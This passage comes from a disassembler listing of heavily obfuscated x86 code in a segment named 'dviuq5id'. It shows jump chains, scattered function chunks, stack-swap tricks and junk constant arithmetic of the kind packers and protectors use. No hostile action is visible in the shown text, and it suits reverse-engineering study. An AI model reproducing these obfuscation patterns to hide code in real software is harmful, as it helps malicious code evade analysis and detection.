loc_43BC31:				; CODE XREF: dviuq5id:0043C93Dj
		jmp	loc_44EB20
; END OF FUNCTION CHUNK	FOR sub_453BE2
; ---------------------------------------------------------------------------
		mov	esi, 9D51A6D4h
		jmp	loc_4418C9
; ---------------------------------------------------------------------------

loc_43BC40:				; DATA XREF: dviuq5id:00440705o
		push	eax
		mov	eax, [ebp-8]
		push	eax
		call	sub_44C6ED
		push	eax
		push	edi
		push	4311ECFh
		pop	edi
		jmp	loc_448E1E
; ---------------------------------------------------------------------------

loc_43BC57:				; CODE XREF: dviuq5id:loc_44DA1Fj
		pop	ebx
		or	ebx, 0D0E8F52Eh
		add	ebx, 2653F8F5h
		mov	[ebx], eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450E57

loc_43BC68:				; CODE XREF: sub_450E57-8B1j
		jmp	loc_43B447
; END OF FUNCTION CHUNK	FOR sub_450E57
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445A59

loc_43BC6D:				; CODE XREF: sub_445A59+7833j
		jmp	loc_446D9D
; END OF FUNCTION CHUNK	FOR sub_445A59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446544

loc_43BC72:				; CODE XREF: sub_446544:loc_43CE58j
					; sub_44EAC4+Cj
		rol	eax, 16h
		push	eax
		jmp	loc_43B09A
; END OF FUNCTION CHUNK	FOR sub_446544

; =============== S U B	R O U T	I N E =======================================



sub_43BC7B	proc near		; CODE XREF: dviuq5id:00439971p
					; dviuq5id:00445C7Ej

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 0043D370 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00440D67 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00446DFD SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		push	esi
		mov	esi, ecx
		xchg	esi, [esp+0]
		push	eax
		push	esi
		mov	esi, ebx
		jmp	loc_446DFD
sub_43BC7B	endp


; =============== S U B	R O U T	I N E =======================================



sub_43BC8E	proc near		; CODE XREF: dviuq5id:0043E393j
					; sub_441881-25D7p

arg_0		= dword	ptr  4

		xchg	esi, [esp+0]
		pop	esi
		xchg	esi, [esp-4+arg_0]
		jmp	sub_453642
sub_43BC8E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_43BC9A:				; CODE XREF: dviuq5id:0043BEDAj
		pop	edx
		or	edx, 0C915D072h
		xor	edx, 0F7F7B517h
		call	sub_449EB7
		push	eax
		jmp	loc_45A27E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_458D70

loc_43BCB2:				; CODE XREF: sub_458D70:loc_458D87j
		sub	al, 99h
		push	52D504E6h
		pop	edx
		xor	edx, 7AD6DD5Fh
		test	edx, 2000h
		jmp	loc_43FDA7
; END OF FUNCTION CHUNK	FOR sub_458D70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441DDA

loc_43BCCB:				; CODE XREF: sub_441DDA-8793j
		and	ebp, 0A40F5298h
		adc	ebp, 67D0B53Ah
		xor	ebx, 77572153h
		jnp	loc_442DD1

loc_43BCE3:				; CODE XREF: sub_441DDA:loc_44863Bj
		cmp	dword ptr [ebp-108h], 6C436E6Fh
		jnz	loc_457E67
		jmp	loc_43FC32
; END OF FUNCTION CHUNK	FOR sub_441DDA
; ---------------------------------------------------------------------------
		add	edx, ebx
		ja	sub_44BE59
		jmp	sub_44F186
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FDFB

loc_43BD05:				; CODE XREF: sub_43FDFB+1A0FCj
		jge	loc_4575A8
; END OF FUNCTION CHUNK	FOR sub_43FDFB
; START	OF FUNCTION CHUNK FOR sub_456B31

loc_43BD0B:				; CODE XREF: sub_456B31-1CC3Dj
		jmp	loc_439AFC
; END OF FUNCTION CHUNK	FOR sub_456B31
; ---------------------------------------------------------------------------
		push	ebp
		not	edx
		jmp	loc_4575A1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D0F2

loc_43BD18:				; CODE XREF: sub_44D0F2-133DAj
		jz	loc_4521D1
		or	eax, 4DD8E5DFh
		xor	ecx, 6643EC45h
		jmp	loc_4521D0
; END OF FUNCTION CHUNK	FOR sub_44D0F2

; =============== S U B	R O U T	I N E =======================================



sub_43BD2F	proc near		; DATA XREF: dviuq5id:0044AA3Ao

; FUNCTION CHUNK AT 004511EA SIZE 0000000B BYTES

		test	eax, eax
		jz	loc_453523
		jmp	loc_4511EA
sub_43BD2F	endp

; ---------------------------------------------------------------------------
		push	edx
		mov	edx, eax
		call	sub_454EDD
		mov	eax, 0C706AA44h
		jmp	sub_44C85A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F407

loc_43BD4E:				; CODE XREF: sub_43F407:loc_4444EFj
		sub	ecx, 0FB3A3ACDh
		or	ecx, 0E7A4C3DEh
		add	ecx, 105BAE69h
		xchg	ecx, [esp+0]
		jmp	sub_44E3BA
; END OF FUNCTION CHUNK	FOR sub_43F407
; ---------------------------------------------------------------------------
		push	89798C6Ch
		jmp	sub_4526A7

; =============== S U B	R O U T	I N E =======================================



sub_43BD72	proc near		; CODE XREF: sub_457566-19A3Ap
					; dviuq5id:0044AEC7j

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043932B SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00439B6E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0043A07C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043A77B SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0043B3C5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043B6D1 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0043C1AC SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0043F31E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00442F60 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00442F70 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00443CDD SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0044504E SIZE 00000007 BYTES
; FUNCTION CHUNK AT 004453D9 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00445546 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00448BBD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00448CB2 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0044AAC3 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0044D684 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044F855 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00454ABD SIZE 00000025 BYTES
; FUNCTION CHUNK AT 004552FC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004554C9 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 004587F0 SIZE 00000011 BYTES

		xchg	eax, [esp+0]
		pop	eax
		add	eax, ebp
		add	eax, 0DA0D09A1h
		jmp	loc_443CDD
sub_43BD72	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	eax
		push	0B2C0D1E9h
		pop	eax
		sub	eax, ds:4000F3h
		jmp	loc_44FBF4
; ---------------------------------------------------------------------------

loc_43BD95:				; DATA XREF: sub_454515:loc_448A9Ao
		push	esi
		pop	edx
		pop	esi
		push	offset sub_440BB8
		jmp	locret_458252
; ---------------------------------------------------------------------------

loc_43BDA2:				; CODE XREF: dviuq5id:0043906Aj
		jg	loc_446C3B
		pop	edi
		jmp	loc_458EC7

; =============== S U B	R O U T	I N E =======================================



sub_43BDAE	proc near		; CODE XREF: dviuq5id:0043D27Bj
					; sub_453C4F+Ap

; FUNCTION CHUNK AT 00445785 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044B001 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0044FA2A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045143B SIZE 00000013 BYTES

		xchg	esi, [esp+0]
		pop	esi
		mov	dword ptr [ecx], 10001h
		lea	eax, loc_4585EC
		jmp	loc_44FA2A
sub_43BDAE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43BDC3	proc near		; CODE XREF: dviuq5id:0043C72Cp
					; dviuq5id:0044DE3Ej

; FUNCTION CHUNK AT 004406B7 SIZE 00000006 BYTES

		xchg	edx, [esp+0]
		pop	edx
		or	eax, eax
		jnz	loc_4546BA
		jmp	loc_4406B7
sub_43BDC3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4463B7

loc_43BDD4:				; CODE XREF: sub_4463B7+DC46j
		jz	loc_457E71
		jmp	loc_4570D0
; END OF FUNCTION CHUNK	FOR sub_4463B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44F0C2

loc_43BDDF:				; CODE XREF: sub_44F0C2:loc_44CA44j
		push	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	al, [eax]
		push	offset loc_44320F
		jmp	loc_4428E6
; END OF FUNCTION CHUNK	FOR sub_44F0C2
; ---------------------------------------------------------------------------

loc_43BDF2:				; CODE XREF: dviuq5id:0043D9EBj
					; DATA XREF: sub_44097E+4A93o
		push	ecx
		pushf
		push	offset loc_4515B0
		jmp	locret_43B1F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44846C

loc_43BDFE:				; CODE XREF: sub_44846C:loc_454945j
		jge	loc_43A02C
		mov	[ebx], esi
		push	36FDCE2Ah
		jmp	loc_43A025
; END OF FUNCTION CHUNK	FOR sub_44846C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44460F

loc_43BE10:				; CODE XREF: sub_44460F+10172j
		js	loc_454433
		mov	ebp, edi
		xchg	eax, edx
		pop	ecx
		jmp	loc_446957
; END OF FUNCTION CHUNK	FOR sub_44460F
; ---------------------------------------------------------------------------

loc_43BE20:				; CODE XREF: dviuq5id:loc_456046j
		call	sub_4433AF
		jns	sub_445A59
		jmp	loc_43E089

; =============== S U B	R O U T	I N E =======================================



sub_43BE30	proc near		; CODE XREF: sub_450B01:loc_43A1D2p
					; dviuq5id:00453581j

; FUNCTION CHUNK AT 0044205F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0044E6CE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00456DE5 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 004587C8 SIZE 00000010 BYTES

		xchg	edx, [esp+0]

loc_43BE33:				; CODE XREF: sub_4427AE+227j
		pop	edx
		jnz	loc_456DE5
		mov	eax, 6
		push	offset loc_4547D7
		jmp	loc_44E6CE
sub_43BE30	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_43BE49:				; CODE XREF: dviuq5id:0043C7FDj
		jnb	loc_44AC8F
		and	ecx, 0BDFA17E9h

loc_43BE55:				; CODE XREF: dviuq5id:loc_43C7EFj
		add	edi, 0FC7A4A96h
		xchg	edi, [esp]
		jmp	sub_456F43
; ---------------------------------------------------------------------------
		mov	edx, 24CC2B1h
		push	edx
		jmp	loc_454E38
; ---------------------------------------------------------------------------

loc_43BE6E:				; DATA XREF: sub_441525+12909o
		add	ecx, 9144AD12h
		xchg	ecx, [esp]
		jmp	loc_43F7AC

; =============== S U B	R O U T	I N E =======================================



sub_43BE7C	proc near		; CODE XREF: sub_44297E:loc_4482D9j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0044BB74 SIZE 00000005 BYTES

		push	ebx
		push	0E025A013h
		pop	ebx
		and	ebx, 0AA2EE83Eh

loc_43BE89:				; CODE XREF: sub_43FA59-5306j
		xor	ebx, ds:4000F8h
		add	ebx, 0F325C974h
		xchg	ebx, [esp+4+var_4]
		jmp	loc_44BB74
sub_43BE7C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4525D0

loc_43BE9D:				; CODE XREF: sub_4525D0-122DFj
		shr	eax, 14h
		jmp	loc_43C2ED
; END OF FUNCTION CHUNK	FOR sub_4525D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447C32

loc_43BEA5:				; CODE XREF: sub_447C32:loc_439075j
		xchg	eax, [esp+0]
		push	0D4BA4484h
		xchg	eax, [esp+4+var_4]
		mov	edx, eax
		pop	eax
		sub	edx, 66E11B11h
		jmp	loc_43A64C
; END OF FUNCTION CHUNK	FOR sub_447C32
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C9A9

loc_43BEBE:				; CODE XREF: sub_43C9A9:loc_449910j
		push	eax
		push	0A5ED92F1h
		pop	eax
		sub	eax, 30381E35h
		rol	eax, 1Bh
		jmp	loc_44F2DA
; END OF FUNCTION CHUNK	FOR sub_43C9A9
; ---------------------------------------------------------------------------
		push	0AD11559Dh
		or	edx, eax
		jmp	loc_43BC9A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445498

loc_43BEDF:				; CODE XREF: sub_445498-5513j
		call	sub_4411B8
		mov	eax, 0DD5E106Fh
		call	sub_453642
		push	edx
		call	sub_459224

loc_43BEF4:				; CODE XREF: dviuq5id:00457406j
		jmp	loc_43A72C
; END OF FUNCTION CHUNK	FOR sub_445498
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446A9C

loc_43BEF9:				; CODE XREF: sub_446A9C+C22Bj
		jmp	nullsub_34
; END OF FUNCTION CHUNK	FOR sub_446A9C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454094

loc_43BEFE:				; CODE XREF: sub_454094-114B5j
		jmp	loc_43C4DF
; END OF FUNCTION CHUNK	FOR sub_454094
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4437F7

loc_43BF03:				; CODE XREF: sub_4437F7-B44j
		jz	loc_449AE0

loc_43BF09:				; CODE XREF: sub_4437F7+1435Cj
		xor	edx, 58C63F88h
		add	edx, 70000413h
		xchg	edx, [esp+8+var_8]
		jmp	loc_43A12B
; END OF FUNCTION CHUNK	FOR sub_4437F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_455400

loc_43BF1D:				; CODE XREF: sub_455400-3940j
		call	sub_43A101
		or	eax, eax
		jnz	loc_4500CA
		jmp	loc_451B9A
; END OF FUNCTION CHUNK	FOR sub_455400
; ---------------------------------------------------------------------------
		jbe	loc_44269D
		jmp	sub_441881
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446C52

loc_43BF3A:				; CODE XREF: sub_446C52+1Cj
		sub	edi, 0ED90E237h
		add	edi, 88AD63E2h
		xchg	edi, [esp+0]
		jmp	loc_43A002
; END OF FUNCTION CHUNK	FOR sub_446C52
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4486F9

loc_43BF4E:				; CODE XREF: sub_4486F9:loc_443E74j
		jo	loc_452257

loc_43BF54:				; CODE XREF: dviuq5id:loc_457866j
		push	eax
		lea	eax, loc_440802+2
		push	eax
		jmp	loc_452FCE
; END OF FUNCTION CHUNK	FOR sub_4486F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450519

loc_43BF61:				; CODE XREF: sub_450519-1CC9j
		push	545A7973h
		pop	edx
		or	edx, 3C0C8E0Dh
		test	edx, 40h
		jmp	loc_43C07B
; END OF FUNCTION CHUNK	FOR sub_450519
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FF18

loc_43BF78:				; CODE XREF: sub_43FF18:loc_45158Cj
		xor	eax, 2C552808h
		add	eax, 0C39E5D2Ah
		add	eax, ebp
		add	eax, 0AF6FF223h
		jmp	loc_447D7C
; END OF FUNCTION CHUNK	FOR sub_43FF18
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_450. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44460F

loc_43BF92:				; CODE XREF: sub_44460F-2B76j
		sbb	ebp, 0B0B50083h
		mov	ecx, 0C13105ECh
		jmp	loc_45A2F4
; END OF FUNCTION CHUNK	FOR sub_44460F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B2EA

loc_43BFA2:				; CODE XREF: sub_44B2EA+4j
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_45A2F4
		jmp	loc_447728
; END OF FUNCTION CHUNK	FOR sub_44B2EA
; ---------------------------------------------------------------------------
		test	ecx, ebp
		jmp	loc_445A37
; ---------------------------------------------------------------------------

loc_43BFBD:				; CODE XREF: dviuq5id:0043F771j
		xchg	esi, [esp]
		pop	esi
		jb	loc_453615
		xchg	ebx, [esp]
		mov	edx, ebx
		pop	ebx
		mov	eax, [esp]
		jmp	loc_441328
; ---------------------------------------------------------------------------

loc_43BFD5:				; CODE XREF: dviuq5id:00441B48j
		add	ecx, 421780AFh

loc_43BFDB:				; CODE XREF: dviuq5id:0045826Bj
		xchg	ecx, [esp]
		jmp	sub_456F43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C4B5

loc_43BFE3:				; CODE XREF: sub_43C4B5:loc_43A6A4j
		jnz	loc_4535F2

loc_43BFE9:				; CODE XREF: dviuq5id:0044A0B9j
		jmp	nullsub_120
; END OF FUNCTION CHUNK	FOR sub_43C4B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FAE1

loc_43BFEE:				; CODE XREF: sub_43FAE1-5D48j
		jmp	loc_43A007
; END OF FUNCTION CHUNK	FOR sub_43FAE1
; ---------------------------------------------------------------------------
		sbb	ebx, 0ECF96B4Fh
		pop	ebp
		jmp	loc_4535F2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441DAE

loc_43BFFF:				; CODE XREF: sub_441DAE-6AF9j
		jnz	loc_456674
; END OF FUNCTION CHUNK	FOR sub_441DAE
; START	OF FUNCTION CHUNK FOR sub_458330

loc_43C005:				; CODE XREF: sub_458330-FDEEj
		jmp	loc_45099D
; END OF FUNCTION CHUNK	FOR sub_458330
; ---------------------------------------------------------------------------
		and	ebx, 7D9E39F3h
		jmp	loc_456669
; ---------------------------------------------------------------------------

loc_43C015:				; CODE XREF: dviuq5id:00459C0Bj
		pop	ecx
		cmp	eax, 0E501A2BAh
		jmp	loc_446AD1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459385

loc_43C021:				; CODE XREF: sub_459385-1732j
		jz	loc_448E62
		jmp	loc_45679E
; END OF FUNCTION CHUNK	FOR sub_459385
; ---------------------------------------------------------------------------
		not	esi
		jmp	sub_4583FB

; =============== S U B	R O U T	I N E =======================================



sub_43C033	proc near		; CODE XREF: dviuq5id:0045272Bj
					; sub_439013+201AAp

arg_0		= dword	ptr  4

		xchg	esi, [esp+0]
		pop	esi
		xchg	ecx, [esp-4+arg_0]
		jmp	sub_440A7F
sub_43C033	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43C03F	proc near		; DATA XREF: sub_440898+52DFo

var_8		= dword	ptr -8
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043A666 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00445078 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004499EC SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00449C0C SIZE 0000001E BYTES
; FUNCTION CHUNK AT 004506CD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004515A1 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00451BBD SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00452667 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045270A SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0045A041 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045A188 SIZE 00000015 BYTES

		push	937ECDFFh
		pop	eax
		add	eax, 386B78FAh
		jnz	loc_449C0C

loc_43C051:				; CODE XREF: sub_441C99+17FD1j
		jmp	loc_43A666
sub_43C03F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_43C056:				; CODE XREF: dviuq5id:00456542j
		jmp	loc_4572FE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D022

loc_43C05B:				; CODE XREF: sub_44D022+11j
		add	edx, 0C1456BCh
		rol	edx, 0Ah
		add	edx, 0E0697972h
		add	edx, ebp
		add	edx, 1893D83h
		mov	edx, [edx]
		imul	byte ptr [edx]
		jmp	loc_459D57
; END OF FUNCTION CHUNK	FOR sub_44D022
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450519

loc_43C07B:				; CODE XREF: sub_450519-145A6j
		jnz	loc_443AD8
; END OF FUNCTION CHUNK	FOR sub_450519
; START	OF FUNCTION CHUNK FOR sub_452D9B

loc_43C081:				; CODE XREF: sub_452D9B-3BD6j
		jmp	nullsub_210
; ---------------------------------------------------------------------------

loc_43C086:				; CODE XREF: sub_452D9B-1479Dj
		jmp	loc_458103
; END OF FUNCTION CHUNK	FOR sub_452D9B
; ---------------------------------------------------------------------------

loc_43C08B:				; CODE XREF: dviuq5id:0043A8FFj
		jmp	locret_444019
; ---------------------------------------------------------------------------
		cdq
		cmp	edi, ebp
		jmp	loc_43E662
; ---------------------------------------------------------------------------

loc_43C098:				; CODE XREF: dviuq5id:0044B12Fj
		jz	loc_445606
		jmp	loc_44DD28
; ---------------------------------------------------------------------------
		test	esi, ebp
		jmp	loc_43D6AB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44084F

loc_43C0AA:				; CODE XREF: sub_440898-21C5j
					; sub_44084F+17069j
		add	eax, 50CB30F6h
		xchg	eax, [esp+0]
		jmp	loc_45758F
; END OF FUNCTION CHUNK	FOR sub_44084F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454E7C

loc_43C0B8:				; CODE XREF: sub_454E7C+13j
		jnz	loc_4455C9
		call	sub_43C402

loc_43C0C3:				; CODE XREF: sub_443222+16DDCj
		jmp	loc_4551D0
; END OF FUNCTION CHUNK	FOR sub_454E7C
; ---------------------------------------------------------------------------
		rol	ebp, 6
		jmp	sub_43E9E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446181

loc_43C0D0:				; CODE XREF: sub_446181:loc_439E71j
		jnz	loc_456D78
		jmp	loc_444C21
; END OF FUNCTION CHUNK	FOR sub_446181
; ---------------------------------------------------------------------------
		xchg	ebp, ebx
		jmp	sub_4581C4
; ---------------------------------------------------------------------------
		mov	eax, 5AB1337Ah
		call	sub_453642
		push	offset sub_448F40
		jmp	locret_454B15
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E1C0

loc_43C0F6:				; CODE XREF: sub_44E1C0:loc_44ABFFj
		jz	loc_446739
		jmp	loc_4407BF
; END OF FUNCTION CHUNK	FOR sub_44E1C0
; ---------------------------------------------------------------------------

locret_43C101:				; CODE XREF: dviuq5id:00449EA1j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450686

loc_43C102:				; CODE XREF: sub_450686-4570j
		jmp	loc_447A68
; END OF FUNCTION CHUNK	FOR sub_450686
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442BBA

loc_43C107:				; CODE XREF: sub_442BBA+1j
		mov	ecx, eax
		xchg	ecx, [esp+4+var_4]
		push	eax
		push	7F2CCFB5h

loc_43C112:				; CODE XREF: dviuq5id:loc_442A25j
		pop	eax
		sub	eax, 2B321E7Dh
		add	eax, 52CEDB02h
		jmp	loc_4499FA
; END OF FUNCTION CHUNK	FOR sub_442BBA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CBD5

loc_43C124:				; CODE XREF: sub_43CBD5:loc_4428A6j
		test	ebp, edi
		jmp	loc_4522AC
; END OF FUNCTION CHUNK	FOR sub_43CBD5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454094

loc_43C12B:				; CODE XREF: sub_454094-EE12j
					; dviuq5id:loc_44BD51j
		lea	eax, [ebp-24h]
		push	ecx
		mov	ecx, eax
		xchg	ecx, [esp+0Ch+var_C]
		push	40h
		jmp	loc_455448
; END OF FUNCTION CHUNK	FOR sub_454094
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44460F

loc_43C13B:				; CODE XREF: sub_44460F:loc_452D46j
					; sub_4594EB:loc_455649j
		jnz	loc_44150B
		jmp	loc_454603
; END OF FUNCTION CHUNK	FOR sub_44460F
; ---------------------------------------------------------------------------

loc_43C146:				; CODE XREF: dviuq5id:004552ECj
		jnp	loc_44CB75
; START	OF FUNCTION CHUNK FOR sub_44F5D6

loc_43C14C:				; CODE XREF: dviuq5id:00442726j
					; sub_44F5D6+5CF9j
		and	eax, 0C8B6CE9Eh
		add	eax, 37B4D558h
		push	offset loc_44B2A6
		jmp	nullsub_503
; END OF FUNCTION CHUNK	FOR sub_44F5D6

; =============== S U B	R O U T	I N E =======================================



sub_43C162	proc near		; CODE XREF: sub_4509F7:loc_43F3BAp
					; dviuq5id:00453764j

; FUNCTION CHUNK AT 0043ED70 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044328A SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044E5FF SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0044F996 SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		push	895CC1ECh
		pop	edx
		or	edx, 95181CE0h

loc_43C172:				; CODE XREF: sub_43CB4C:loc_44F7B2j
		and	edx, 7420B541h
		jmp	loc_43ED70
sub_43C162	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446596

loc_43C17D:				; CODE XREF: sub_446596-7E94j
		shr	ecx, 1Ah
		rol	esi, 10h
		add	ecx, esi
		mov	[eax], esi
		xor	eax, 0DF9C3163h
		jmp	loc_44F9D7
; END OF FUNCTION CHUNK	FOR sub_446596
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4492F0

loc_43C192:				; CODE XREF: sub_4492F0:loc_459445j
		jbe	loc_452F5F

loc_43C198:				; CODE XREF: sub_43D393+14741j
		mov	[edx], eax
		jmp	loc_44D87E
; END OF FUNCTION CHUNK	FOR sub_4492F0
; ---------------------------------------------------------------------------

loc_43C19F:				; CODE XREF: dviuq5id:00443B97j
		mov	esp, ebp
		xchg	eax, [esp]
		mov	ebp, eax
		pop	eax
		jmp	loc_44AD32
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BD72

loc_43C1AC:				; CODE XREF: sub_43BD72+9668j
		call	sub_44D814

loc_43C1B1:				; CODE XREF: sub_44A015+AF1j
		xor	[ebp-8], eax
		call	sub_45002A

loc_43C1B9:				; CODE XREF: sub_440576+9EF7j
		mov	eax, edx
		pop	edx
		xor	eax, 0BC393CBh
		or	eax, 47488AFAh
		rol	eax, 1Ah
		or	eax, 7B80C12Ah
		jmp	loc_454ABD
; END OF FUNCTION CHUNK	FOR sub_43BD72
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FDFB

loc_43C1D6:				; CODE XREF: sub_43FDFB-3261j
		add	ebx, 0FC0B34A7h
		mov	[ebx], al
		pop	ebx

loc_43C1DF:				; CODE XREF: sub_439013+1EBFCj
		jz	loc_43A297
		cmp	byte ptr [ebp-5], 0
		jnz	loc_43B8FB
		jmp	loc_451732
; END OF FUNCTION CHUNK	FOR sub_43FDFB
; ---------------------------------------------------------------------------

loc_43C1F4:				; DATA XREF: sub_44CEFF-12C0Co
		pop	esi
		ror	eax, 2
		xor	eax, 5755062Ah
		jb	loc_43BA1D
		ror	eax, 7
		jmp	loc_439FFD
; ---------------------------------------------------------------------------

loc_43C20C:				; DATA XREF: sub_458D70-8657o
		xor	edx, 25D19D66h
		add	edx, ebp
		call	sub_44122E
; START	OF FUNCTION CHUNK FOR sub_4463B7

loc_43C219:				; CODE XREF: sub_4463B7+11AD1j
		jmp	loc_453CB4
; END OF FUNCTION CHUNK	FOR sub_4463B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440898

loc_43C21E:				; CODE XREF: sub_440898+81FDj
		jmp	loc_454499
; END OF FUNCTION CHUNK	FOR sub_440898
; ---------------------------------------------------------------------------
		push	eax
		jmp	sub_4558A5
; ---------------------------------------------------------------------------

loc_43C229:				; DATA XREF: dviuq5id:00459115o
		call	sub_451E0A
		mov	eax, 3CC6743Ch
		push	esi
		push	0B552AFBh
		pop	esi
		jmp	loc_43D49C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4489E1

loc_43C23F:				; CODE XREF: sub_44EC31:loc_440F56j
					; sub_44EA54+Cj ...
		mov	eax, [ebp-20h]
		sub	eax, [ebp-28h]
		mov	[ebp-24h], eax
		mov	eax, [ebp-24h]
		mov	esp, ebp
		pop	ebp
		jmp	nullsub_128
; END OF FUNCTION CHUNK	FOR sub_4489E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454094

loc_43C253:				; CODE XREF: sub_454094-1A43Ej
		and	ecx, 38DA81BEh
		or	ecx, ds:4000FAh
		and	ecx, 818907AFh
		add	ecx, 0FEC31B8Eh
		jmp	loc_4420B5
; END OF FUNCTION CHUNK	FOR sub_454094
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4543C5

